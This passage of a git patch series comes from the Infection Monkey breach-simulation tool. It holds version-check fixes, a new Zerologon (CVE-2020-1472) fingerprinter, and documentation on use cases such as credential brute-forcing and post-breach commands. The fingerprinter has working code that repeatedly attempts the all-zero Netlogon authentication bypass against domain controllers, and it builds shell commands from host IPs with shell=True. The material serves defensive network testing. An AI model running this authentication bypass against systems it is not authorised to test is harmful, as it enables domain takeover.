+            except NoInternetError:
+                logger.info('Failed updating version number')
 
         return VersionUpdateService.newer_version
 
@@ -42,7 +43,11 @@ class VersionUpdateService:
         """
         url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env_singleton.env.get_deployment(), get_version())
 
-        reply = requests.get(url, timeout=15)
+        try:
+            reply = requests.get(url, timeout=7)
+        except requests.exceptions.RequestException:
+            logger.info("Can't get latest monkey version, probably no connection to the internet.")
+            raise NoInternetError
 
         res = reply.json().get('newer_version', None)
 

From a77743137f5e03a00f5c047d5b34323a1ecbf5d4 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Thu, 15 Oct 2020 15:19:19 +0300
Subject: [PATCH 10/30] Refactored exception name to a more specific one

---
 monkey/common/utils/exceptions.py                  | 4 ++--
 monkey/monkey_island/cc/services/version_update.py | 6 +++---
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py
index 5134ade0a..6b36402a0 100644
--- a/monkey/common/utils/exceptions.py
+++ b/monkey/common/utils/exceptions.py
@@ -22,5 +22,5 @@ class AlreadyRegisteredError(RegistrationNotNeededError):
     """ Raise to indicate the reason why registration is not required """
 
 
-class NoInternetError(Exception):
-    """ Raise to indicate problems caused when no internet connection is present"""
+class VersionServerConnectionError(Exception):
+    """ Raise to indicate that connection to version update server failed """
diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py
index e4dea2b95..af47bf93a 100644
--- a/monkey/monkey_island/cc/services/version_update.py
+++ b/monkey/monkey_island/cc/services/version_update.py
@@ -3,7 +3,7 @@ import logging
 import requests
 
 import monkey_island.cc.environment.environment_singleton as env_singleton
-from common.utils.exceptions import NoInternetError
+from common.utils.exceptions import VersionServerConnectionError
 from common.version import get_version
 
 __author__ = "itay.mizeretz"
@@ -30,7 +30,7 @@ class VersionUpdateService:
         if VersionUpdateService.newer_version is None:
             try:
                 VersionUpdateService.newer_version = VersionUpdateService._check_new_version()
-            except NoInternetError:
+            except VersionServerConnectionError:
                 logger.info('Failed updating version number')
 
         return VersionUpdateService.newer_version
@@ -47,7 +47,7 @@ class VersionUpdateService:
             reply = requests.get(url, timeout=7)
         except requests.exceptions.RequestException:
             logger.info("Can't get latest monkey version, probably no connection to the internet.")
-            raise NoInternetError
+            raise VersionServerConnectionError
 
         res = reply.json().get('newer_version', None)
 

From 0a8d1f2afecbb213f79fa7a836fc68636413050f Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Tue, 20 Oct 2020 23:51:08 +0530
Subject: [PATCH 11/30] Add Zerologon fingerprinter

---
 .../network/windowsserver_fingerprint.py      | 103 ++++++++++++++++++
 .../definitions/finger_classes.py             |  10 +-
 .../cc/services/config_schema/internal.py     |   1 +
 3 files changed, 113 insertions(+), 1 deletion(-)
 create mode 100644 monkey/infection_monkey/network/windowsserver_fingerprint.py

diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py
new file mode 100644
index 000000000..6ebaae1e8
--- /dev/null
+++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py
@@ -0,0 +1,103 @@
+import logging
+import subprocess
+
+from impacket.dcerpc.v5 import epm, nrpc, transport
+
+import infection_monkey.config
+from infection_monkey.network.HostFinger import HostFinger
+from infection_monkey.utils.environment import is_windows_os
+
+LOG = logging.getLogger(__name__)
+
+
+class WindowsServerFinger(HostFinger):
+    # Class related consts
+    MAX_ATTEMPTS = 2000
+    _SCANNED_SERVICE = "Windows Server"
+
+    def __init__(self):
+        self._config = infection_monkey.config.WormConfiguration
+
+    def get_host_fingerprint(self, host):
+        """
+        Checks if the Windows Server is vulnerable to Zerologon.
+        """
+        unexpected_error_encountered = False
+
+        def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME):
+            # Connect to the DC's Netlogon service.
+            binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
+                                   protocol='ncacn_ip_tcp')
+            rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
+            rpc_con.connect()
+            rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
+
+            # Use an all-zero challenge and credential.
+            plaintext = b'\x00' * 8
+            ciphertext = b'\x00' * 8
+
+            # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
+            flags = 0x212fffff
+
+            # Send challenge and authentication request.
+            nrpc.hNetrServerReqChallenge(
+                rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
+
+            try:
+                server_auth = nrpc.hNetrServerAuthenticate3(
+                    rpc_con, DC_HANDLE + '\x00', DC_NAME +
+                    '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
+                    DC_NAME + '\x00', ciphertext, flags
+                )
+
+                # It worked!
+                assert server_auth['ErrorCode'] == 0
+                return rpc_con
+
+            except nrpc.DCERPCSessionError as ex:
+                if ex.get_error_code() == 0xc0000022:  # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
+                    pass
+                else:
+                    LOG.error(f'Unexpected error code: {ex.get_error_code()}.')
+                    unexpected_error_encountered = True
+
+            except BaseException as ex:
+                LOG.error(f'Unexpected error: {ex}.')
+                unexpected_error_encountered = True
+
+            return None
+
+        DC_IP = host.ip_addr
+        DC_NAME = self.get_dc_name(DC_IP)
+        DC_HANDLE = '\\\\' + DC_NAME
+
+        # Keep authenticating until successful. Expected average number of attempts needed: 256.
+        LOG.info('Performing Zerologon authentication attempts...')
+        rpc_con = None
+        for attempt in range(0, self.MAX_ATTEMPTS):
+            rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
+            if (rpc_con is not None) or (unexpected_error_encountered):
+                break
+
+        self.init_service(host.services, self._SCANNED_SERVICE, None)
+
+        if rpc_con:
+            LOG.info('Success: DC can be fully compromised by a Zerologon attack.')
+            host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
+            return True
+        else:
+            LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
+            host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
+            return False
+
+    def get_dc_name(self, DC_IP):
+        """
+        Gets NetBIOS name of the DC.
+        """
+        if is_windows_os():
+            cmd = f'nbtstat -A {DC_IP} | findstr "<00>"'
+            name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0]
+        else:
+            cmd = f'nmblookup -A {DC_IP} | grep "<00>"'
+            name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0]
+        return name
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py
index 6fe5e8fea..405983dc5 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py
@@ -56,7 +56,6 @@ FINGER_CLASSES = {
             "info": "Checks if Microsoft SQL service is running and tries to gather information about it.",
             "attack_techniques": ["T1210"]
         },
-
         {
             "type": "string",
             "enum": [
@@ -65,6 +64,15 @@ FINGER_CLASSES = {
             "title": "ElasticFinger",
             "info": "Checks if ElasticSearch is running and attempts to find it's version.",
             "attack_techniques": ["T1210"]
+        },
+        {
+            "type": "string",
+            "enum": [
+                "WindowsServerFinger"
+            ],
+            "title": "WindowsServerFinger",
+            "info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.",
+            "attack_techniques": ["T1210"]
         }
     ]
 }
diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py
index bdbae2461..af562bcc2 100644
--- a/monkey/monkey_island/cc/services/config_schema/internal.py
+++ b/monkey/monkey_island/cc/services/config_schema/internal.py
@@ -223,6 +223,7 @@ INTERNAL = {
                         "MySQLFinger",
                         "MSSQLFinger",
                         "ElasticFinger"
+                        "WindowsServerFinger"
                     ]
                 }
             }

From 08d38011205f0f52505fd1856596f2b8d5394a77 Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Wed, 21 Oct 2020 01:08:01 +0530
Subject: [PATCH 12/30] Testing is important

---
 .../network/windowsserver_fingerprint.py      | 61 +++++++++++--------
 .../cc/services/config_schema/internal.py     |  2 +-
 2 files changed, 36 insertions(+), 27 deletions(-)

diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py
index 6ebaae1e8..7b66462d1 100644
--- a/monkey/infection_monkey/network/windowsserver_fingerprint.py
+++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py
@@ -18,6 +18,22 @@ class WindowsServerFinger(HostFinger):
     def __init__(self):
         self._config = infection_monkey.config.WormConfiguration
 
+    def get_dc_name(self, DC_IP):
+        """
+        Gets NetBIOS name of the DC.
+        """
+        name = ''
+        try:
+            if is_windows_os():
+                cmd = f'nbtstat -A {DC_IP} | findstr "<00>"'
+                name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0]
+            else:
+                cmd = f'nmblookup -A {DC_IP} | grep "<00>"'
+                name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0]
+        except BaseException as ex:
+            LOG.info(f'Exception: {ex} Most likely not a Windows DC.')
+        return name
+
     def get_host_fingerprint(self, host):
         """
         Checks if the Windows Server is vulnerable to Zerologon.
@@ -71,33 +87,26 @@ class WindowsServerFinger(HostFinger):
         DC_NAME = self.get_dc_name(DC_IP)
         DC_HANDLE = '\\\\' + DC_NAME
 
-        # Keep authenticating until successful. Expected average number of attempts needed: 256.
-        LOG.info('Performing Zerologon authentication attempts...')
-        rpc_con = None
-        for attempt in range(0, self.MAX_ATTEMPTS):
-            rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
-            if (rpc_con is not None) or (unexpected_error_encountered):
-                break
+        if DC_NAME:  # if it is a Windows DC
+            # Keep authenticating until successful. Expected average number of attempts needed: 256.
+            LOG.info('Performing Zerologon authentication attempts...')
+            rpc_con = None
+            for attempt in range(0, self.MAX_ATTEMPTS):
+                rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
+                if (rpc_con is not None) or (unexpected_error_encountered):
+                    break
 
-        self.init_service(host.services, self._SCANNED_SERVICE, None)
+            self.init_service(host.services, self._SCANNED_SERVICE, '')
+
+            if rpc_con:
+                LOG.info('Success: DC can be fully compromised by a Zerologon attack.')
+                host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
+                return True
+            else:
+                LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
+                host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
+                return False
 
-        if rpc_con:
-            LOG.info('Success: DC can be fully compromised by a Zerologon attack.')
-            host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
-            return True
         else:
-            LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
-            host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
+            LOG.info('Error encountered; most likely not a Windows DC.')
             return False
-
-    def get_dc_name(self, DC_IP):
-        """
-        Gets NetBIOS name of the DC.
-        """
-        if is_windows_os():
-            cmd = f'nbtstat -A {DC_IP} | findstr "<00>"'
-            name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0]
-        else:
-            cmd = f'nmblookup -A {DC_IP} | grep "<00>"'
-            name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0]
-        return name
diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py
index af562bcc2..fae309ad5 100644
--- a/monkey/monkey_island/cc/services/config_schema/internal.py
+++ b/monkey/monkey_island/cc/services/config_schema/internal.py
@@ -222,7 +222,7 @@ INTERNAL = {
                         "HTTPFinger",
                         "MySQLFinger",
                         "MSSQLFinger",
-                        "ElasticFinger"
+                        "ElasticFinger",
                         "WindowsServerFinger"
                     ]
                 }

From 7bdc7ce4c2690e48dd42499226caeda1cbfebb7b Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Wed, 21 Oct 2020 16:45:15 +0530
Subject: [PATCH 13/30] Add implementation details

---
 monkey/infection_monkey/network/windowsserver_fingerprint.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py
index 7b66462d1..ddf5b42ca 100644
--- a/monkey/infection_monkey/network/windowsserver_fingerprint.py
+++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py
@@ -1,3 +1,7 @@
+"""
+Implementation from https://github.com/SecuraBV/CVE-2020-1472
+"""
+
 import logging
 import subprocess
 

From f9f70febfcc406a0dc8d4570512018cd039fa199 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Fri, 23 Oct 2020 12:30:38 +0300
Subject: [PATCH 14/30] Updated scenario / use case docs

---
 docs/content/usage/use-cases/attack.md        | 44 ++++++++++++++
 .../usage/use-cases/credential-leak.md        | 12 ++--
 docs/content/usage/use-cases/ids-test.md      | 16 +++--
 .../content/usage/use-cases/network-breach.md |  8 ++-
 .../usage/use-cases/network-segmentation.md   | 24 ++++----
 docs/content/usage/use-cases/other.md         | 60 ++++++++++++++++---
 docs/content/usage/use-cases/zero-trust.md    | 43 +++++++++++++
 7 files changed, 172 insertions(+), 35 deletions(-)
 create mode 100644 docs/content/usage/use-cases/attack.md
 create mode 100644 docs/content/usage/use-cases/zero-trust.md

diff --git a/docs/content/usage/use-cases/attack.md b/docs/content/usage/use-cases/attack.md
new file mode 100644
index 000000000..88041aae4
--- /dev/null
+++ b/docs/content/usage/use-cases/attack.md
@@ -0,0 +1,44 @@
+---
+title: "ATT&CK techniques"
+date: 2020-10-22T16:58:22+03:00
+draft: false
+description: "Find issues related to Zero Trust Extended framework compliance."
+weight: 1
+---
+
+## Overview 
+
+Infection Monkey can simulate a number of realistic ATT&CK techniques on the network automatically. This will help you 
+assess the capabilities of your defensive solutions and see which ATT&CK techniques go unnoticed and how to prevent 
+them.
+
+## Configuration
+
+- **ATT&CK matrix** You can use ATT&CK configuration section to select which techniques you want to scan. Keep in mind 
+that ATT&CK matrix configuration just changes the overall configuration by modifying related fields, thus you should 
+start by modifying and saving the matrix. After that you can change credentials and scope of the scan, but exploiters, 
+post breach actions and other configuration values will be already chosen based on the ATT&CK matrix and shouldn’t be 
+modified.
+- **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords 
+and usernames, but feel free to adjust it according to your native language and other factors. Keep in mind that long 
+lists means longer scanning times.
+- **Network -> Scope** Make sure to properly configure the scope of the scan. You can select Local network scan and 
+allow Monkey to propagate until maximum Scan depth(hop count) is reached or you can fine tune it by providing specific 
+network ranges in Scan target list. Scanning the local network is more realistic, but providing specific targets will 
+make the scanning process substantially faster.
+
+![ATT&CK matrix](/images/usage/scenarios/attack-matrix.png "ATT&CK matrix")
+
+## Suggested run mode
+
+You should run the Monkey on network machines with defensive solutions you want to test.
+
+A lot of ATT&CK techniques have a scope of a single node, so it’s important to manually run monkeys for better coverage.
+
+## Assessing results
+
+See the **ATT&CK report** to assess results of ATT&CK techniques used in your network. Each technique in the result 
+matrix is colour coated according to it’s status. Click on any technique to see more details about it and potential 
+mitigations. Keep in mind that each technique display contains a question mark symbol that will take you to the 
+official documentation of ATT&CK technique, where you can learn more about it.
+
diff --git a/docs/content/usage/use-cases/credential-leak.md b/docs/content/usage/use-cases/credential-leak.md
index 498e1ff54..93c1a27c9 100644
--- a/docs/content/usage/use-cases/credential-leak.md
+++ b/docs/content/usage/use-cases/credential-leak.md
@@ -2,7 +2,7 @@
 title: "Credential Leak"
 date: 2020-08-12T13:04:25+03:00
 draft: false
-description: "Assess the impact of successful phishing attack, insider threat, or other form of credentials leak."
+description: "Assess the impact of a successful phishing attack, insider threat, or other form of credentials leak."
 weight: 4
 ---
 
@@ -16,8 +16,6 @@ where these credentials can be reused.
 
 ## Configuration
 
-#### Important configuration values:
-
 - **Exploits -> Credentials** After setting up the Island add the users’ **real** credentials 
 (usernames and passwords) to the Monkey’s configuration (Don’t worry, this sensitive data is not accessible and is not
  distributed or used in any way other than being sent to the monkeys, and can be easily eliminated by resetting the Monkey Island’s configuration).
@@ -26,11 +24,15 @@ For this to work, Monkey Island or initial Monkey needs to have access to SSH ke
 To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Monkey
 (content of keys will not be displayed, it will appear as `<Object>`).
 
+## Suggested run mode
+
 To simulate the damage from a successful phishing attack using the Infection Monkey, choose machines in your network 
 from potentially problematic group of machines, such as the laptop of one of your heavy email users or 
 one of your strong IT users (think of people who are more likely to correspond with people outside of 
-your organization). Execute the Monkey on chosen machines by clicking on “**1. Run Monkey**” from the left sidebar menu
- and choosing “**Run on machine of your choice**”.
+your organization). Execute the Monkey on chosen machines by clicking on “**1. Run Monkey**” from the left sidebar menu 
+and choosing “**Run on machine of your choice**”. Since Infection Monkey is safe, feel free to run Monkeys as a 
+privileged user. Doing so will make sure that Monkey gathers credentials from a local machine.
+
 
 ![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
 
diff --git a/docs/content/usage/use-cases/ids-test.md b/docs/content/usage/use-cases/ids-test.md
index 89b1bbfb3..2dfcda1cd 100644
--- a/docs/content/usage/use-cases/ids-test.md
+++ b/docs/content/usage/use-cases/ids-test.md
@@ -13,20 +13,18 @@ The Infection Monkey can help you verify that your security solutions are workin
 
 ## Configuration
 
-#### Important configuration values:
-
-- **Monkey -> Post breach** Post breach actions simulate the actions an attacker would make on infected system.
- To test something not present on the tool, you can provide your own file or command to be ran. 
+- **Monkey -> Post breach** simulate the actions an attacker would make on an infected system. 
+To test something not present on the tool, you can provide your own file or command to be run.
 
 The default configuration is good enough for many cases, but configuring testing scope and adding brute-force
  credentials is a good bet in any scenario. 
- 
-Running the Monkey on both the Island and on a few other machines in the network manually is also recommended,
- as it increases coverage and propagation rates.
-
 
 ![Post breach configuration](/images/usage/use-cases/ids-test.PNG "Post breach configuration")
 
+## Suggested run mode
+Running the Monkey on both the Island and on a few other machines in the network manually is also recommended,
+ as it increases coverage and propagation rates.
+
 ## Assessing results
 
 After running the Monkey, follow the Monkeys’ actions on the Monkey Island’s infection map.
@@ -40,7 +38,7 @@ Now you can match this activity from the Monkey timeline display to your interna
  If you see orange arrows, those incidents ought to be reported as scanning attempts (and possibly as segmentation violations).
 - The blue arrows indicate tunneling activity, usually used by attackers to infiltrate “protected” networks from
  the Internet. Perhaps someone is trying to bypass your firewall to gain access to a protected service in your network?
- Check if your micro-segmentation / firewall solution identify or report anything.
+ Check if your micro-segmentation / firewall solution identifies or reports anything.
 
 While running this scenario, be on the lookout for the action that should arise:
  Did you get a phone call telling you about suspicious activity inside your network? Are events flowing
diff --git a/docs/content/usage/use-cases/network-breach.md b/docs/content/usage/use-cases/network-breach.md
index 46aee7228..e315e49ad 100644
--- a/docs/content/usage/use-cases/network-breach.md
+++ b/docs/content/usage/use-cases/network-breach.md
@@ -17,7 +17,6 @@ Infection Monkey will help you assess the impact of internal network breach, by
 
 ## Configuration
 
-#### Important configuration values:
 - **Exploits -> Exploits** You can review the exploits Infection Monkey will be using. By default all 
 safe exploiters are selected.
 - **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords
@@ -34,6 +33,13 @@ all post breach actions. These actions simulate attacker's behaviour after getti
 
 ![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector")
 
+## Suggested run mode
+
+To simulate a foreign device you could introduce the Island server to the network and run monkey from it. 
+Alternatively, for a malicious agent simulation, you should run monkey manually on a machine that’s already running in 
+the network. Combining both, as always, will give you the best coverage.
+
+
 ## Assessing results
 
 Check infection map and security report to see how far monkey managed to propagate in the network and which 
diff --git a/docs/content/usage/use-cases/network-segmentation.md b/docs/content/usage/use-cases/network-segmentation.md
index 8b418c1b6..4cea4002c 100644
--- a/docs/content/usage/use-cases/network-segmentation.md
+++ b/docs/content/usage/use-cases/network-segmentation.md
@@ -2,18 +2,18 @@
 title: "Network Segmentation"
 date: 2020-08-12T13:05:05+03:00
 draft: false
-description: "Test network segmentation policies for apps that need ringfencing or tiers that require microsegmentation."
+description: "Test network segmentation policies for apps that need ring fencing or tiers that require microsegmentation."
 weight: 3
 ---
 
 ## Overview 
 
-Segmentation is a method of creating secure zones in data centers and cloud deployments that allows companies to
- isolate workloads from one another and secure them individually, typically using policies.
- A useful way to test the effectiveness of your segmentation is to ensure that your network segments are
- properly separated, e,g, your Development is separated from your Production, your applications are separated from one
- another etc. To security test is to verify that your network segmentation is configured properly. This way you make
- sure that even if a certain attacker has breached your defenses, it can’t move laterally from point A to point B.
+Segmentation is a method of creating secure zones in data centers and cloud deployments that allows companies to 
+isolate workloads from one another and secure them individually, typically using policies. A useful way to test the 
+effectiveness of your segmentation is to ensure that your network segments are properly separated, e,g, your 
+Development is separated from your Production, your applications are separated from one another etc. To test the 
+security is to verify that your network segmentation is configured properly. This way you make sure that even if a 
+certain attacker has breached your defenses, it can’t move laterally from point A to point B.
 
 [Segmentation is key](https://www.guardicore.com/use-cases/micro-segmentation/) to protecting your network, reducing 
 the attack surface and minimizing the damage of a breach. The Monkey can help you test your segmentation settings with 
@@ -21,8 +21,6 @@ its cross-segment traffic testing feature.
 
 ## Configuration
 
-#### Important configuration values:
-
 - **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
  subnets that should be segregated from each other. If any of provided networks can reach each other, you'll see it 
  in security report.
@@ -32,12 +30,14 @@ its cross-segment traffic testing feature.
 all post breach actions. These actions simulate attacker's behaviour after getting access to a new system, so they
  might trigger your defence solutions which will interrupt segmentation test.
 
-Execute Monkeys on machines in different subnetworks manually, by choosing “**1. Run Monkey**” from the left sidebar menu
- and clicking on “**Run on machine of your choice**”. 
+## Suggested run mode
+
+Execute Monkeys on machines in different subnetworks manually, by choosing “**1. Run Monkey**” from the left sidebar 
+menu and clicking on “**Run on machine of your choice**”. 
  Alternatively, you could provide valid credentials and allow Monkey to propagate to relevant subnetworks by itself. 
  
  Note that if Monkey can't communicate to the Island, it will
- not be able to send scan results, so make sure all machines can reach the island. 
+ not be able to send scan results, so make sure all machines can reach the island.
 
 ![How to configure network segmentation testing](/images/usage/scenarios/segmentation-config.png "How to configure network segmentation testing")
 
diff --git a/docs/content/usage/use-cases/other.md b/docs/content/usage/use-cases/other.md
index b709d8ba3..71fc0cac9 100644
--- a/docs/content/usage/use-cases/other.md
+++ b/docs/content/usage/use-cases/other.md
@@ -2,7 +2,7 @@
 title: "Other"
 date: 2020-08-12T13:07:55+03:00
 draft: false
-description: "Tips and tricks about configuring monkey for your needs."
+description: "Tips and tricks about configuring Monkeys for your needs."
 weight: 100
 ---
 
@@ -10,6 +10,57 @@ weight: 100
 
 This page provides additional information about configuring monkeys, tips and tricks and creative usage scenarios.
 
+## Custom behaviour
+
+If you want Monkey to run some kind of script or a tool after it breaches a machine, you can configure it in 
+**Configuration -> Monkey -> Post breach**. Just input commands you want executed in the corresponding fields. 
+You can also upload files and call them through commands you entered in command fields.
+
+## Speed and coverage
+
+There are some trivial ways to increase the coverage, for example you can **run the Monkey as a privileged user since 
+it’s safe**. To improve scanning speed you could **specify a subnet instead of scanning all of the local network**. 
+The following configuration values have a significant impact on speed/coverage:
+- **Credentials** - the more usernames and passwords you input, the longer it will take the Monkey to scan machines having 
+remote access services. Monkeys try to stay elusive and leave a low impact, thus brute forcing takes longer than with 
+loud conventional tools.
+- **Network scope** - scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your 
+networks bit by bit with multiple runs.
+- **Post breach actions** - you can disable most of these if you only care about propagation. 
+- **Internal -> TCP scanner** - you can trim the list of ports monkey tries to scan increasing performance even further.
+
+## Combining different scenarios
+
+Infection Monkey is not limited to the scenarios mentioned in this section, once you get the hang of configuring it, 
+you might come up with your own use case or test all of suggested scenarios at the same time! Whatever you do, 
+Security, ATT&CK and Zero Trust reports will be waiting for you!
+
+## Persistent scanning
+
+Use Monkey -> Persistent scanning configuration section to either have periodic scans or to increase reliability of 
+exploitations by running consecutive Infection Monkey scans.
+
+## Credentials
+
+Every network has its old “skeleton keys” that should have long been discarded. Configure the Monkey with old and stale 
+passwords, but make sure that they were really discarded using the Monkey. To add the old passwords, in the island’s 
+configuration, go to the “Exploit password list” under “Basic - Credentials” and use the “+” button to add the old 
+passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the 
+configuration:
+
+![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
+
+
+## Check logged and monitored terminals
+
+To see the Monkey executing in real-time on your servers, add the **post-breach action** command: 
+`wall “Infection Monkey was here”`. This post breach command will broadcast a message across all open terminals on 
+the servers the Monkey breached, to achieve the following: Let you know the Monkey ran successfully on the server. 
+Let you follow the breach “live” alongside the infection map, and check which terminals are logged and monitored 
+inside your network. See below:
+
+![How to configure post breach commands](/images/usage/scenarios/pba-example.png "How to configure post breach commands.")
+
 ## ATT&CK & Zero Trust scanning
 
 You can use **ATT&CK** configuration section to select which techniques you want to scan. Keep in mind that ATT&CK
@@ -29,13 +80,6 @@ There's currently no way to configure monkey using Zero Trust framework, but reg
 - To increase propagation run monkey as root/administrator. This will ensure that monkey will gather credentials
  on current system and use them to move laterally.
 
-- Every network has its old “skeleton keys” that should have long been discarded. Configure the Monkey with old and stale passwords, but make sure that they were really discarded using the Monkey. To add the old passwords, in the island’s configuration, go to the “Exploit password list” under “Basic - Credentials” and use the “+” button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
-
-![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
-
-- To see the Monkey executing in real-time on your servers, add the **post-breach action** command: `wall “Infection Monkey was here”`. This post breach command will broadcast a message across all open terminals on the servers the Monkey breached, to achieve the following: Let you know the Monkey ran successfully on the server. let you follow the breach “live” alongside the infection map, and check which terminals are logged and monitored inside your network. See below:
-
-![How to configure post breach commands](/images/usage/scenarios/pba-example.png "How to configure post breach commands.")
 
 - If you're scanning a large network, consider narrowing the scope and scanning it bit by bit if scan times become too
  long. Lowering the amount of credentials, exploiters or post breach actions can also help to lower scanning times.
diff --git a/docs/content/usage/use-cases/zero-trust.md b/docs/content/usage/use-cases/zero-trust.md
new file mode 100644
index 000000000..8499f8adc
--- /dev/null
+++ b/docs/content/usage/use-cases/zero-trust.md
@@ -0,0 +1,43 @@
+---
+title: "Zero Trust assessment"
+date: 2020-10-22T16:58:09+03:00
+draft: false
+description: "See where you are in your Zero Trust journey."
+weight: 0
+---
+
+## Overview 
+
+Infection Monkey can help assess your network compliance with Zero Trust Extended framework by checking for various 
+violations of Zero Trust principles.
+
+## Configuration
+
+- **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords 
+and usernames, but feel free to adjust it according to your native language and other factors. Keep in mind that long 
+lists means longer scanning times.
+- **Network -> Scope** Make sure to properly configure the scope of the scan. You can select Local network scan and 
+allow Monkey to propagate until maximum Scan depth(hop count) is reached or you can fine tune it by providing specific 
+network ranges in Scan target list. Scanning local network is more realistic, but providing specific targets will make 
+the scanning process substantially faster.
+- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define 
+subnets that should be segregated from each other.
+
+In general, other configuration value defaults should be good enough, but feel free to see the “Other” section 
+for tips and tricks about other features and in-depth configuration parameters you can use.
+
+![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
+
+## Suggested run mode
+
+Running Monkey from the Island alone will give you reasonable results, but to increase the coverage for segmentation 
+and single node tests make sure to run monkey manually on various machines in the network. The more machines monkey 
+runs on, the better the coverage.
+
+## Assessing results
+
+See the results in the Zero Trust report section. “The Summary” section will give you an idea about which Zero Trust 
+pillars were tested, how many tests were done and test statuses. You can see more details below in the “Test Results” 
+section, where each test is sorted by pillars and principles it tests. To get even more details about what Monkey did,
+ go down to the “Findings” section and observe “Events” of different findings. “Events” will tell you what exactly 
+ Infection Monkey did and when it was done, to make it easy to cross reference it with your defensive solutions.

From 68b6efa8b654c70fa8ed69653009f6671e062a89 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Fri, 23 Oct 2020 17:46:23 +0300
Subject: [PATCH 15/30] Updated scenario docs once more, removed IDS/IPS test
 scenario.

---
 docs/content/usage/use-cases/attack.md        | 44 +++++++--------
 .../usage/use-cases/credential-leak.md        | 15 ++----
 docs/content/usage/use-cases/ids-test.md      | 53 -------------------
 .../content/usage/use-cases/network-breach.md | 10 ++--
 .../usage/use-cases/network-segmentation.md   | 18 +++----
 docs/content/usage/use-cases/other.md         | 35 ++----------
 docs/content/usage/use-cases/zero-trust.md    | 33 ++++++------
 7 files changed, 59 insertions(+), 149 deletions(-)
 delete mode 100644 docs/content/usage/use-cases/ids-test.md

diff --git a/docs/content/usage/use-cases/attack.md b/docs/content/usage/use-cases/attack.md
index 88041aae4..ee2e002c7 100644
--- a/docs/content/usage/use-cases/attack.md
+++ b/docs/content/usage/use-cases/attack.md
@@ -1,44 +1,38 @@
 ---
-title: "ATT&CK techniques"
+title: "MITRE ATT&CK assessment"
 date: 2020-10-22T16:58:22+03:00
 draft: false
-description: "Find issues related to Zero Trust Extended framework compliance."
-weight: 1
+description: "Assess your network security detection and prevention capabilities."
+weight: 2
 ---
 
 ## Overview 
 
-Infection Monkey can simulate a number of realistic ATT&CK techniques on the network automatically. This will help you 
